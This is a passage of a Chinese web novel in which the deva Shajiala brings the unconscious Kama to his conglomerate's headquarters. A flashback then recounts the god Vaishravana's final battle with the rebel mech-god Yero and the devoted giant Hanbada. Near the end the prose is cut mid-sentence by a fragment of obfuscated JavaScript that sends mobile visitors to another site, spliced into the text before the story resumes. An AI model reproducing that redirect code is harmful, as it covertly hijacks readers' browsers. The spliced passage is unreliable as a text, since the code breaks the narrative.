那男人实在是个麻烦制造者,现在他人不在,却给他留下一个超级大麻烦——等卡玛醒来,得知自己的朋友还是没能逃出阿修罗的毒手,想必要怨的人只有他这个自诩为“守护者”的天神了,她会说他冷酷无情,漠视生命,质疑他的能力,认为他是个靠不住的骗子……唉,如果伊诺活着能让那女孩快活,能让卡玛更了解人间以外的东西,他倒是不介意顺便多保护一个人的。刹迦罗知道卡玛会生他的气,但他本来就不是那种多愁善感悲天悯人的天神,况且见过的生死悲欢不计其数,除了无动于衷,他还能有什么表情? 吱吱……吱吱…… 什么? 刹迦罗望着OK。 小家伙说伊诺是自我引爆的? “你们下了车后,到底发生了什么事?”懒得追问OK的来历,刹迦罗只想知道这里为什么会弄成这样。 “在这里遇到了奇怪的人……他跟之前的那个人一样……说了些古怪的话……然后要带她走……”他低声复述着,“她拒绝合作……她的朋友对她说了些话……然后与那个人一起爆炸了……后来呢?” “那个人只是受了伤……仍打算带她走……她突然晕倒了……于是我不得不使用了力量……他逃走了……然后你来了……” 原来如此,伊诺并不是被阿修罗杀死的。 为了保护朋友,连性命也可以不要吗? 突然想到了什么,刹迦罗微微一笑。 真是的,连他都差点上当了。 这个时代的人类,难道不也跟天神一样,拥有“分身”的么? 灵魂可以像数据一样进行各种处理,原本的□□可以通过改造免除疾病、残疾和先天不足的困扰,人造人体坏了可以更换新的零件——像卡玛和伊诺这样的顶尖机械师,怎可能没有防备措施? 他搜了搜卡玛的身,果然很快就在她的裤袋夹层中找到了一枚指甲盖大小的芯片,凝视着那墨绿色的小玩意,他松了口气。 人类……果然越来越神通广大了呀。 他收好芯片,将OK揣在怀里,扛起卡玛,一阵风似的离开了。 阿什提市·毗沙门财团总部 凌晨三点,财团总部灯火通明,从上到下已乱作一团——毗沙门财团的首脑刹迦罗·毗沙门已经“失踪”了将近整整十二个小时。今天关于他行程的记录仅更新到他在帕罗戴斯大酒店与总裁因陀罗以及首席科技官希格玛会面,下午两点当他离开世界集团后整个人就如同蒸发了一般,没有人知道他去了哪里,焦虑不安的财团干部与世界集团联系,也只是了解到刹迦罗曾在下午再度拜访过世界集团的高层,但之后便没了消息。 任凭毗沙门财团使出浑身解数,也没找到任何关于刹迦罗的消息,直到一个半小时前财团的情报员才在媒体网络上截获了一段摄自污染区地下铁的影像,但影像质量并不理想,财团的人只好把平时负责刹迦罗生活起居的女管家找来,才确认了影像中的那个黑衣男子就是他本人。正当财团一方面对网络实行管制,一方面打算派人搜索污染区的时候,刹迦罗却出现在了众人面前。 他看起来状态并不太好,衣物破损,身上还有伤,一看便知与人打斗过,更为奇怪的是他还带回来了一个二十岁左右的蓝发女孩,以及一只小银貂,本来财团上下全都急得犹如热锅上的蚂蚁,见他出现总算大大地松了口气,但很快便又产生了种种疑问,对此刹迦罗没有任何解释,直接回了自己的府邸,拒绝接见任何人。 莉亚将干净的衣物轻轻地放在他身边,他还算合作,脱掉了破汗衫和长裤,拿起她递过来的热毛巾胡乱擦了擦身。 莉亚趁机偷偷瞄了一眼那个躺在床上的女孩。 她不是唯一和他有□□关系的女人,刹迦罗在帕罗戴斯大酒店有专用元首套房,但他从来不会把她们带到这幢位于毗沙门财团总部的别墅,这个蓝发女孩则是第一个。 光凭这一点,莉亚就敢肯定这女孩与刹迦罗的关系非比寻常,对于刹迦罗来说她一定有特殊之处,消息在财团总部早已传开了,大家都在猜测这女孩的身份来历,尽管依靠财团的情报系统要查个明白并不难,但没有经过刹迦罗的许可,谁也不敢擅做主张。 财团高层小心翼翼地与她交涉,希望她能找到恰当的时机从刹迦罗那里问出些什么,对此莉亚可不抱任何希望,她不过是这栋别墅的管家,照料他日常起居的生活秘书而已,就算有性关系,她也非常清楚自己是谁,而那男人又是谁,他的事情自己本来就没权力过问,况且现在他脸色阴沉,看起来心事重重,此时的刹迦罗不喜欢被打扰,这一点她可是再清楚不过的了。 不过,刹迦罗将那女孩放在床上后就一直坐在一旁守着她,脸上虽然面无表情,但眼中的担忧和关切连莉亚都禁不住羡慕。 当然,包括莉亚在内财团里的所有人都不知道刹迦罗的真正身份,更不可能知道他之所以这么“反常”的真正原因。 “莉亚。”刹迦罗突然轻唤了一声。 “啊?是!……”她愣了愣,赶紧应道。 “帮我做几件事罢。” 莉亚点了点头,等待下文。 “第一件事,让财团里负责总部安全的干部加强戒备,把这里的防备等级从红色提升到黑色,从现在开始,任何企图威胁财团安全的入侵者,一律格杀勿论。” 他语气平静,但莉亚却听得心惊肉跳。 不过她只是飞快地做了记录,什么也没问。 “第二件事,让财团里的人与世界集团的高层联系,说今明两天内我会再去拜访他们的总裁——并且会有人随行。” “第三件事,她受到惊吓加上疲惫不堪昏了过去,麻烦你照顾她,让她能休息得安稳些,另外——”刹迦罗顿了顿,又摆了摆手,“算了。” 但他踌躇了片刻,又道: “帮她沐浴时,请留意一下,她的身上是否有一处黑色的莲花状纹身。” 见莉亚的神色有些茫然,刹迦罗苦笑一声。 “有些事情,我想还是确认一下比较好。”说完他起身朝门口走去,“我要去休息一下,不要让人来打扰我,我拜托你的前两件事直接传达给财团里相关的人就行了,若他们问起来你不用解释,告诉他们那是我的命令。” 莉亚点了点头。 “那个……您身上的伤,要不要让医师来……” “不用了。” 没人知道他在使用机械身体,阿修罗对他的机械体造成的伤害很快就会愈合,问题在于今天使用了数次天王释暗波,再加上激斗中的其他行为,让他消耗了不少能量,下次遇到的阿修罗能力、数量、行动方式和目的目前都是未知,他必须尽快恢复到良好状态,现在刹迦罗只希望在接下来的数小时内阿修罗不要那么快就找上门来,虽然财团总部的作战能力可媲美特种部队,但要对抗首陀罗或吠舍级的阿修罗,就算成功也必然会付出沉重代价,若是刹帝利甚至是婆罗门级,被对方瞬间全员秒杀也不是没可能。 希望醒来以后卡玛已经没事了。 爱装酷的小女孩……真令人操心。 还有那三位喜欢没事添乱的老人家…… 刹迦罗无可奈何地闭上了眼。 10. 第 10 章 须弥·善见城 善见城位于须弥之巅,城主帝释天亦被称为天帝,由此统治须弥全部三十三重天,善见城的上面是无往虚空,那是属于三连神的领域。 无论与天神为敌的阿修罗如何努力,他们永远也没法突破四天王所守护的领域,他们不断对须弥发动进攻,攻势总会比上一次更加凌厉,但四天王始终是不可逾越的位面。 因此对于阿修罗们来说,善见城是神话一般的存在,从来没有任何一个阿修罗能亲眼目睹善见城的神光。 传说只要能看到善见城顶端发出的光——哪怕只看一眼——阿修罗就可以从永无休止的杀戮与纷争中解脱出来,能失去全部苦痛的记忆,以白纸般的洁净灵魂再度进入转生。 传说若能抵达比善见城还要高的地方,亲眼见到三连神——哪怕只有一个刹那——就能够从三连神那里实现一个愿望,任何在三连神能力范围内的愿望都能实现。 为了这两个传说,千百万年来,不计其数的阿修罗闯入须弥。 成群结队。 源源不断。 但是他们当中没有任何一个成功过,九成的阿修罗无法通过第一重天,剩下来的一成中,又有九成在第二重天同样以失败告终,失败的阿修罗们只有很小一部分能侥幸逃走,大部分都死了,幸存下来的也再无处可去——回到帝拜会被同族嗤笑为苟且偷生的懦夫。 能通过全部三十三天的阿修罗百年难得一遇,接下来拦在他们面前的便是四天王,若能战胜四天王其中的一个就能进入传说中的善见城,若能战胜帝释天就能进入无往虚空——但是从来没有哪个阿修罗能强到如此地步。 所以,善见城是祥和的地方。 不过,这并不代表暴力永远不会在此降临。 在这个时代到目前为止,有且仅有一次。 善见城祥和不再,化为血海。 侵犯者并非来自帝拜,而是五位步入歧途的天神。 …… 她死死地盯着那扇荡漾着水波般光纹的门。 “他”已经进了那扇门,已走到了最后一步,只要再打败守护在那扇门后的人,他们的“愿望”就能实现了。 同伴的背叛,同族的憎恨……一切牺牲与之相比无足挂齿。 门的背后不断地传来强烈无比的能量波动,此时她心急如焚,恨不得立即去帮忙,然而…… 面前却有两个碍眼的家伙在阻拦自己。 那两个人,一个是手持战刀、魁伟如山的独眼大汉,另一个是衣饰尊贵华丽、看上去却仅有十岁左右的小男孩。 男孩的身体悬浮在半空,双手背在身后,那持刀天神正以守护者的姿态站在他身前。而她身边同样有一位身材高大壮硕的巨人在护卫,双方就这样对峙着。 “到此为止吧。”男孩突然开口了,他轻轻地摇着头,念着她和那巨人的名字。 “耶罗、汉巴达——” “住口!”她冷喝一声,“我的名字,只有那个人才有资格叫!” 被称为汉巴达的巨人没有出声,听着她的话,神情黯然。 “军荼利明王沙克帝已被我们击溃逃走,难道你还不明白吗?”男孩淡淡地说,“这扇门之后所正在进行的,是中央不动尊明王的最终战,降三世明王,不动尊赢不了多闻天,他见不到三连神,也实现不了他的愿望——当你们的同伴重新归顺三连神的那一刻起,这已是可预见的未来,你们四人能做到这种程度,已经超出极限了。” “一派胡言!”她——降三世明王耶罗怒不可遏,“他不会败,他拥有这个世界上最强的力量,比所有的天神都要强,包括三连神在内!那个叛徒出卖了我们,但你们也一样赢不了,几分钟后我们的愿望就要实现了,你等着瞧吧,帝释天!” “几分钟后他的身体就会化为无往虚空的尘埃,他的灵魂就会被永久封印,而作为他的同伴,你们现在再不觉悟就太迟了!”帝释天冷道,“为了那个所谓的‘愿望’,看看你们犯下了多大的罪孽,超乎想象的能量冲撞影响的不仅是须弥,摩诃与帝拜里有多少人因为不动尊的欲望和野心而受害?对他的崇拜和倾慕已经让你丧失了判断力,一味地维护他只会……” “任何侮辱他的人都必须死!”耶罗打断了男孩的话,“汉巴达,立即把他们杀了!”她厉声对身边的巨人发号施令。 那巨人,也就是大威德明王汉巴达,却迟迟没有响应。 “怎么?连你也要背叛了吗?!”对于汉巴达的反应她恼怒无比。 汉巴达紧锁双眉,犹豫片刻之后终于攥紧双拳,咬牙再度发动了明王之力。 浓烈的淡紫色光芒中,汉巴达的形态发生了改变,原先的人化外表不再,取而代之的是巨大的黑银色机械体,几乎覆盖全身的紫蓝色纹案流光溢彩,身为五大明王之一的大威德明王,以明王机体最终形态现身的他拥有霸道强横的破坏力,绝对是一件完美的终极武器。 凝视着大威德明王机体上的紫蓝色光纹,帝释天轻叹一声。 无能胜明王已经把和明王机体有关的一切都交给了三连神,他对于中央不动尊明王的背叛成了整场战争的转折点——三连神将无能胜明王提供的数据分析完毕后得到了制约明王机体力量的方法,现在整个善见城都已处于新的防护结界之下,在这里明王机体只能发挥三成的力量,先前的战斗天神们几近溃败,但现在…… 结束了,一切已成定局,天神赢了,明王败了,即使没有无能胜明王的倒戈,凭三连神的能力要破解明王机体只是时间问题——但他们为什么还要如此固执地战斗?! 汉巴达,无论是之前的天神,还是现在经过了机体改造的明王,你都是一件强大得不可思议的武器。 然而,你也只能是一件武器。 从来都是那样沉默,从来都对任何事没有意见的你,对耶罗近乎愚昧的忠诚只能将你们一并拽入黑暗的深渊! “增长天大人,请回避一下。”男孩的身上开始出现雷光。 持刀的天神立即后退,身为四大天王之一的南方增长天,天帝的命令他必须服从。 大威德明王的能量积累到了最高点,他一声爆吼,向帝释天发动攻击! 大威德·无迴散难印·大覆灭! 他的右臂变成了炮,大覆灭是大面积高能量散射光炮,威力足以毁灭六分之一个善见城。 当然是在那结界不存在的前提下。 耶罗,看看我吧,哪怕……哪怕只看我一眼也好…… 然而她只是死死地盯着全身雷光闪耀的帝释天,给他的只是一个孤傲冰冷的背影。 帝释天全身都变成了白色,巨大的雷电在他身体周围编织成了一个光环,他稚气十足的脸上神情异常严厉,当他猛的睁开眼时,那凌厉凶暴的杀气甚至把一旁的增长天王都逼得再度退了三步。 虽然外表是个永远也长不大的孩子,可谁也不敢忘记他也能变成恐怖的暴君! 天帝释·无妄尊因陀罗咒·斩首八天屠! 斩首八天屠是帝释天最强的攻击手段,使用之后会在一段时间失去自我保护的能力,然而帝释天知道他赢定了,只能发挥三成力量的大威德明王会被一击格杀,而自己身边还有增长天,降三世明王就算想趁机偷袭也是没有用的。 能量碰撞的一瞬间,高下立判! 斩首八天屠共包含八次连续强攻,仅前两击就已抵销了大覆灭,第三击瓦解了大威德明王的能量护盾,他不得不以自己的身体承受接下来的五次强攻。 第四击,他的双臂已出现裂纹。 耶罗,耶罗…… 第五击,外壳装甲的溃散已蔓延至身体绝大部分。 我快要死了……我真没用,不能再守在你身边了…… 第六击,他的最后防御终被彻底击溃。 你不愿看我,那就让我在消失之前,再多看你一眼吧……可是,我好像已快看不见东西了…… 大威德明王重重落地,明王机体消失,他再度变回自己的人化形态,庞大的身躯上没有一块完好的地方,他几乎成了个血人。 我还活着?……为什么?…… “第七击能毁坏他的身体,第八击便能将他的灵魂抹除。”帝释天身上的雷光渐渐消散,男孩气喘吁吁地问,“我能终结他的痛苦,消除他的罪孽,就这样让他了无牵挂地从这世上消失不好吗?为什么要阻止我,多闻天大人?” 北方多闻天?…… “这是三连神的意思。”帝释天身后,一个男人平静地说。 那双奇异的金色眼瞳标明了他的身份——北方多闻天王。 鲜血顺着他的脸庞流淌,肩膀和手臂上也受了伤,但他神情淡漠,似乎对自己身体所受的创伤早已麻木。 “你受伤不轻。”帝释天说。 “虽然只能发挥三成力量,不动尊还是很难对付。”多闻天答道,“不过,已经完了,一切都结束了。” 听到这句话,她当场愣住了。 当汉巴达与帝释天对决时,她就突然感觉到在一阵强烈得匪夷所思的能量激荡后,中央不动尊明王的气息就迅速减弱,直至完全消失,她正焦虑不已,现在那个金瞳天神出现在自己眼前,轻描淡写地宣布“一切都结束了”…… 不!这不可能!这不可能啊!!—— 那至怎么会败?他是中央不动尊明王,是三界六道最强大的生物…… 他怎么会败?而且还败在这个男人手上? 她不相信,这不过是个骗局!是三连神和那男人串通好的骗局!! “降三世明王,如我所说,一切都已结束了。”多闻天低沉地说,他看起来非常疲惫,高大的身躯有些摇摇欲坠,“不动尊已被击败,他不再拥有任何形式的实体,他的灵魂被三连神封印,由毗湿奴神的第八化身大黑天克里希那亲自镇持,因其罪孽深重,从今以后他将沉眠在无往虚空,永世不得解脱。” “你杀了他?”她失声而笑,声音嘶哑,“毗沙门,你杀了他?你怎么可以杀了他?……” 他没有答她。 “你以为杀了他就能证明你比他强?”她放声狂笑,“你以为这样就会让我对你刮目相看?真是可笑,你永远比不上他,当初若不是‘她’在妨碍我,你早就死在我手下了,如果那个时候我再坚决一点,现在还轮得到你在我面前耀武扬威么?!”她越说越怒,到了后来几乎是咬牙切齿,睚眦俱裂。 帝释天对一旁的增长天使了个眼色,增长天便上前将自己的身体挡在多闻天跟前。 然而多闻天只是冷冷地看着她。 “我已说过,从我受伤的那一刻起,你已不再是我的耶罗——那个温柔善良的耶罗死了,只剩下一个歇斯底里、面目可憎的降三世明王。” “明王战争已经结束了,现在你有两个选择:认罪投降,或者是被永远封印。”不带任何感情,他犹如在对一个陌生人说话,“认罪投降,你必须放弃明王机体,无条件承认三连神对整个世界拥有至高处决权,并且发誓不再违抗三连神的意志;接受三千年的绝对禁锢,其间你的一切功德业果都将用以弥补你对须弥、摩诃、帝拜三界犯下的罪孽,三千年后禁锢解除,你能够以原本的天神身份在须弥中存在,原有天神位阶和法力福报维持不变。” 三连神的判决……已经算是相当仁慈了吧,帝释天想。 但是,多闻他对降三世如此冷漠,真的没问题吗? 以往的情感,全部的回忆,都已经彻底消散了吗?…… “若我不认罪呢?”她一脸讥讽地问。 “你的身体和灵魂将被绝对封印一万年,一万年之后你将被驱逐出须弥,丧失天神的身份地位,以及所有的力量和功德,成为永远被放逐至帝拜的阿修罗。”他面无表情,“现在就做出你的决定吧。” “我的决定?”她轻蔑地说,“到了这个地步,你们该不会还以为给出一些好处,就能诱使我投降吧?” 不……耶罗……不要这样!…… 已经失去战斗力,仅剩一口气的巨人拼尽最后的力气,用单臂带着身体一点一点地向上爬去,他实在是伤得太重了,淙淙的鲜血在善见城的台阶上留下一条长长的痕迹。 别再这样错下去了……我们都走了太远,耶罗,你不知道一个失去力量的天神堕为阿修罗……在帝拜会是件多么绝望的事,求求你,不要再折磨自己了,难道不把自己逼上绝路,置身万劫不复……就不足以表达你对他的心意吗?…… 你心里没有我,没有关系……你不愿多看我一眼,对我多说一句话……也没有关系……可是,请你不要……请你不要伤害自己,好不好?…… …… 光之门关闭了,通向无往虚空的路被阻断,三连神再度拒见任何人,对于他们来说这场令三界无数生灵涂炭的明王战争已经落幕,接下来的事已无需再让他们费神,帝释天和四天王自会收拾残局。 “他的愿望已经实现了。”多闻天突然低声开口。 “你说什么?”她为之一怔。 “打败他的人不是我,而是三连神之一的湿婆神。”多闻天说。 此话一出,不仅是降三世明王,连帝释天和增长天都大吃一惊。 “毗沙门,你把话说清楚!……那……那扇门之后究竟发生了什么?!”她颤声道。 “事到如今,我也没有必要隐瞒你。”多闻天说。 “不动尊曾对你和其他三位明王许诺,若在明王战争中获胜,就能逼迫三连神承认他的能力凌驾于其之上,将对世界的绝对处决权转交给他,令他成为新的独裁者,而他将建立新的世界,四位明王都能够获得仅次于他的崇高地位,以新的统治集团的身份控制世界——这就是五大明王的愿望。”多闻天望着降三世,轻轻地摇了摇头。 “然而,这并不是不动尊自己真正的愿望。” “你……你胡说!——”她上前两步,神情激动,增长天立即用战刀指向她,警告她不要轻举妄动。 “你凭什么说这种话?那究竟是不是他真正的愿望你凭什么猜测?……简直是一派胡言!”她甚至有些语无伦次。 “这是他自己说的。”看着她的失态,多闻天眼中闪过一丝怜悯,但很快又被冰冷湮没。 “只能在善见城发挥三成力量的他虽然依旧强横,但已非我的对手,在我取得优势后准备给他最后致命一击时,三连神突然制止了我——他们说‘这个男人还有一个愿望没有实现’。” “为了实现他的愿望,三连神回复了他的状态,随后湿婆神现身,不动尊使用了自己的最强绝技无堪忍三味耶咒,却因为力量差距悬殊,而被湿婆神的究级奥义三千世界无限大自在神通瞬间击败。”多闻天的语气有些急促,似乎刚刚亲眼目睹了绝无仅有的最高规格对决的他,尚未从那霎那间的震撼中平复。 帝释天微微颔首,双手合十。 三千世界无限大自在神通。 能被湿婆神以此招格杀,中央不动尊明王虽死无憾了吧。 莫非…… “这不公平!在这里他只能发挥三成实力,这根本不是公平的决斗!”她气得浑身发抖,“三连神为什么不让他全力一战?什么‘最后的愿望’,看上去是慈悲,实际上不过是虚伪和胆怯吧?!” “三连神已经洞悉了明王机体的秘密,就算他能发挥全部实力,现在也已不再会对三连神产生威胁。”多闻天看着她,“不动尊自己也很明白这一点,他知道自己一定会败,三连神当然也非常清楚这一点,虽然不动尊反对他们,然而他们却很赞赏他的能力和勇气,既然他已进入了无往虚空见到了三连神,他们便决定实现他的愿望——他被湿婆神击倒,愿望便已实现。” 他一字一句地说: “取代三连神创建新的世界,对于那样的愿望他已经失去了兴趣——降三世,背叛者不仅仅只有一人,发起了这一切的不动尊最后也背叛了他自己,你们不过一直没有看到真相罢了。” 对于这一点,若非从多闻天口中听闻,帝释天和增长天也始料不及,更何况是降三世明王。 “不可能……这不可能……”她后退了两步,喃喃自语,“真相……什么真相……” “现在做出选择吧,认罪投降、还是要接受裁决?”多闻天疲惫地问,“顽抗是无用的,军荼利重伤潜逃,大威德已不能继续战斗,虽然帝释天大人无法出手,但凭你一人之力,面对四天王其中的两位,胜算渺茫。” 降三世愤恨至极,正欲发话,忽然一个巨大的人影越过她,一步一步,蹒跚地向前走去。 汉巴达浑身是血,每走一步都要使出全部的力气,庞大的身躯摇摇欲坠,似乎随时都要轰然倒下。 然而他的眼神却令多闻天感到错愕。 身体已被逼近极限,眼神却比以前任何时候都要锐利,在多闻天的印象中,他似乎对任何事情都不会太感兴趣,哪怕与自己相关的事也大都采取无所谓的态度——几乎整个须弥的人都知道,这个沉默寡言随遇而安的汉巴达心里只有一个人。 他会去做一切能让她高兴的事,会牢牢地记住她的每一句话,会无条件地服从她的任何命令,会无情地消灭她的所有敌人,也会毫不犹豫地保护她,哪怕丢掉性命粉身碎骨也心甘情愿——汉巴达简直就是为了她而来到这个世界上,存在的全部意义也因为她,没人知道这是为什么,但有一件事,大家都非常明白: 没有了她,汉巴达是没法独自活下去的。 这样的他,现在还想做什么? 他似乎“破天荒”地,做出了一个“决定”。 多闻天疑惑地望了一旁的天帝一眼,那男孩脸上也是同样的表情,但大威德明王的接近却令增长天王的杀气陡增。 多闻天按住他持刀的手,同时轻轻摇头,制止他对大威德明王发动攻击。 你确定他没打算接近我们然后自爆么?毗沙门。 就算这样做也没有什么用处,三连神依然不会放过降三世——我觉得他似乎有话要对我们说。 伤痕累累的巨人来到三位天神面前,全无征兆地,双膝下坠,竟跪在他们面前,他强忍着伤,俯身吻着他们跟前的地面,这种礼节只有须弥最低阶的神民在极正式的场合下有幸面对天帝或四天王时才会使用。 三位天神怎么也没料到他会突然这样,全都愣住了。 “汉巴达你在做什么?”她大叫,一脸不敢置信。 “好吧,你贪生怕死,要向他们投降,那就随便你吧!——汉巴达,亏我一直这样信任你,你真是太令我失望了!……” 多闻天厌恶地看了她一眼。 “你起来吧。”见那巨人痛苦的表情,帝释天突然又觉得有些不忍——汉巴达没有战意,他只是在她的命令下不得已而为之,即便是刚才的对决中他也同样没有杀气,而自己却下了那么重的手,若不是多闻天即时阻拦,他大概已经不存在了吧。 然而他依然跪在地上没有动,也许现在的他已站不起来了。 “求……求求你们……” 他突然开口了。 三位天神面面相觑。 在印象中,有谁曾听到过这个巨人说话吗? “放过耶罗吧……她全部的罪过……都让我来顶……” “求求你们……不要让她堕为阿修罗……帝拜那种地方……我去……” “我去。”他抬起满是血污的脸。 帝释天转过身。 “大威德,你……”他的声音有些发抖。 “三连神不会同意的。”多闻天低声说,“对降三世的惩罚若由你担当,她便无需忏悔,像现在这样的她,对须弥乃至三界仍旧是极大的威胁——大威德,作为不动尊的同伴,你也一样要接受裁决,即便你投降认罪也要付出沉重代价,若再加上她应受的惩罚,你重获自由将遥遥无期。” 为什么要这么做?就为了她?现在的她果真还值得你这样牺牲么?汉巴达,我也曾爱过她,但她变了,不再是原来的她,她背叛了爱她的人,我不能容忍被自己深爱的人伤害,所以我放弃了,但你……无论她如何地漠视你、伤害你、为了满足自己的欲望指使你犯下罪行,你都不曾也不将改变初衷? 你对她的倾慕,甚至超越了你对善恶的辨析?如此盲目,如此愚忠,现在你还要为她抵罪,你分明知道她心中不曾有过留给你的位置,眼里永远只有那个人的身姿,却还是要……你为她放弃天神的荣光堕入帝拜,她也不会感恩,这又是何苦? “我请求三连神回收她的机体,消除她的记忆……把这场战争,还有我们……全部都忘掉,让她回到从前……我愿意做天神的仆从……侍奉三连神、天帝和四天王……什么事也可以……三千年后……” “三千年后……由我替她去帝拜。” 突然汉巴达猛地回头,一脸愕然地望着身后。 “耶罗……” 她忽然双脚离地,全身红光闪烁,一如刚才的汉巴达,她的身体迅速机械化,鲜红色的光纹覆盖全身。 在降三世的明王机体完全取代原先的人化形态前,她冷笑道: “汉巴达,收起你的滥好心吧,我宁愿死也不会受你这个叛徒和那帮天神的恩惠,你跟毗沙门一样,永远也比不上他,你以为替我求情我就会被你感动然后跟你在一起吗?真是太可笑了。” “耶罗……”汉巴达哀求着跪着朝她前进了两步,举起那只尚能活动的手,然而从她身上发出的红光却阻断了他的视线,她冰冷地拒绝了与他的对话,放声狂笑。 “杀了我吧,否则死的就是你们——让我的身体也化作灰烬,把我碎裂的灵魂撒入虚无,这样我便能继续追随他,和他永远在一起啊!哈哈哈哈哈——” “耶罗,求求你!……别再战斗了!” 汉巴达痛苦的声音湮没在明王机体产生的奇异鸣叫中,红光中的降三世六只机械手臂分别对着上天下地以及东南西北四方缔结手印,看来是要使出其最强奥义了。 增长天王跨前两步,将自己的战刀当胸合握,正欲激发天神之力应战,帝释天却制止了他。 “让他去做个了断吧。”望着那个全身金光闪烁的男人,帝释天苦笑道。 金光在多闻天的脚下幻化为巨大的圆形莲花状纹案,他的眉心闪烁着须弥天神独有的光印,凝视着半空中气焰喧嚣的降三世明王,他眼神如冰。 增长天王收了战刀,默默地退到一边。 虽然某些事情他从来、大概也永远不会懂,但既然毗沙门决定亲自做个了结,除了后退旁观,他还能怎样呢? 天王莲花法阵已被发动,毗沙门看起来是要动真格的了。 看到多闻天王脚下那朵雍容璀璨的光之莲花,汉巴达六神无主,他想恳请毗沙门住手,但多闻天王身边数十米的范围都处于其强大法力的笼罩下,根本无从接近;他想劝阻降三世明王,求她不要再战,却连挪动脚步的力气都没有。 “你已骄纵蛮横很久了。”多闻天双掌相对,摆出手印,“也不知这世上有多少人因你而痛苦——” “死吧,多闻天!!”她的机械面孔阴暗狰狞。 降三世·婆娑现世书·胜身三摩耶咒! “是时候让你彻底消失了,降三世明王。” 悟生光华秘法·狮子奋迅咒·夜叉虚空藏究级释暗波! 我们走到最后,得到的还是这样的结局…… 不过,至少,你死在了我手上。 多闻天王的法力取得了压倒性的优势,降三世明王那宛若鲜血的暗红之光渐渐消融在金光中。作为最强的释暗波,夜叉虚空藏究竟威力几何,就连帝释天和其他三位天王也不是很清楚,面对如此强横霸道的绝技,降三世明王的胜身三摩耶咒是不可能赢的。 随着释暗波的逼近,她的能量迅速流逝,和刚才的汉巴达一样,她的明王机体开始溃散了。 但多闻天却看到她在笑。 她的笑容恬淡平和。 一霎那间,他以为那个耶罗又回来了。 一霎那间,看到她的身影被那巨大的黑色光球吞噬,他惊呆了。 他做了什么? “不!……” 他情不自禁地朝她伸出手。 但一切都已无可挽回。 她消失了。 过了许久,善见城才从夜叉虚空藏释暗波所带来的冲击中得到平复。 什么都没有了,被那样强大的法术正面击中,明王机体也不会留下一点残骸。 金光褪去,多闻天站在原地,犹如一尊塑像。 如他所愿,一切都结束了。 五大明王带给须弥的灾难终止了,三连神的权限没有任何改变,帝释天依然是天神之王,善见城与须弥之主,而包括他在内的四大天王也通过这场战争进一步巩固了各自的地位,必然会有更多的人崇拜他们,歌颂他们的功德,敬仰他们的力量。 但他却一点也高兴不起来。 他的心成了个巨大的空洞,就好像也被究级释暗波击中一样,什么都没留下。 她并不关心结果。 她知道自己一定会死。 但这正是她要的。 被他杀死,却留给他空虚和歉疚——她很清楚他其实远没有看上去的那么冷酷无情。 他赢了,却也输了。 …… 汉巴达跪在地上,木然地望着天空,成了另一尊雕塑。 她嫌他呆笨碍眼,他可以一言不发,躲在角落里暗暗守护她;她喜欢的人不是自己,他不在乎,他甚至可以连她喜欢的那个人也一起守护;她要他做事,他生怕做不好;她要他战斗,他可以不要命……为了让她自由,他甘愿做天神的仆从,再代替她成为阿修罗,他不指望她能变回从前,但求她至少能自由地活着。 可是尽管如此,他还是没能留住她。 迟钝如他也能看出她是在故意激怒多闻天,为的就是让他对自己出必杀一击,她如此渴望死亡,是因为这样才能表达她对那个人的爱?是因为这样才能避开作为战败者所应遭受的惩罚? 还是……这样才能一劳永逸地摆脱他?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363289|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 究级释暗波不仅破坏了她的□□,也毁灭了她的灵魂,等于是将她的全部存在完完全全地从这世界上消除了,他不可能找得到她的转生体——他永远也见不到她了。 看起来,她真的是讨厌极了他。 汉巴达缓缓站起身,默默地将手放在左胸上。 他的身上再度闪现出紫蓝色的光纹,仅存的能量沿着这些轨道般的光纹从全身逐渐汇集到心脏的位置。 他听到有人在对自己喊着什么。 但他已做出了另一个“决定”—— 大概,我也没有继续存在的必要了吧。 …… 阿汉! 住手!……不要这样!! …… 巨人突然睁开眼。 他的眸子蓝得惊人,仿佛两团熊熊燃烧的火焰。 这是个陌生的地方,他正坐在一张金属制的椅子上——确切地说,他正被束缚在那张椅子上,四周一片漆黑,一束淡蓝色的光从头顶射下,在他身体周围照出一个半径两三米的光斑。 阿汉! 住手!……不要这样!! 那个熟悉的声音还在他脑海中萦绕,他很惊愕。 他……刚才做梦了? 他怎么可能会做梦? 他为什么会在梦里听到她的声音? 卡玛…… 她不在这里,她为什么不在这里?发生了什么事? 警察局……地下车库……红色眼瞳的男人…… 他的拳头碎了……现在却又回复如初…… 卡玛有危险! 他企图起身,但椅子上的拘束锁正铐着他的手腕和脚踝,他的脖子、胸膛、后背还有四肢上都插着缆线,有的比他三根手指合拢还要粗,有的却细如发丝,他使了使劲,却挣不开。 他眼中蓝光一盛,加大能量,这次再也没什么能锁住他了,一声巨响,厚实的合金锁铐竟被硬生生拽断! 巨人站起身,将插入身体的缆线胡乱拔掉,黑暗之中立即浮现出全息影像,那是一位美丽的女性。 这是安全警报,中央神庙的自动防御系统已被激活,请不要继续随意行动,我再重复一遍,请不要继续随意行动,这不是演习。 他完全置若罔闻,在警报声中他赤裸着身体迈动脚步,缆线在他身上留下的伤痕迅速愈合。 这是安全警报,中央神庙的自动防御系统已被激活—— 蓝色的光纹从他的肩部开始向左臂蔓延,就像之前在贫民区对付那个阿修罗时一样,巨人的一只胳膊变成了炮,聚集完能量后,他向前开火了。 巨响过后,他看到自己面前大约五十米处出现亮光,于是他立即大步向前走去。 这是最后一次警告,立即解除武装状态停止行动。 他在自己身体周围建立起了一个淡蓝色的球状防护光膜,脚步未曾放缓。 …… “到底怎么回事?……”一个紧锁着眉头的男人向他的下属询问,他是世界集团的第八保卫队长。 没有人能回答他,谁也没想到在清晨六点总部大厦会出状况,系统显示警报级别竟超越了A级,以这里的保安状态一般也就是D或者C级警报,很多情况下系统都能自动处理,眼下突然发出EX级警报,所有人都有些不知所措。 “队长,系统显示总部大厦内有高能量反应!——” “位置?” “在……在下面……” “下面?”队长眯起眼。 众人面面相觑。 “可是,探测器的资料是这样显示的啊……” 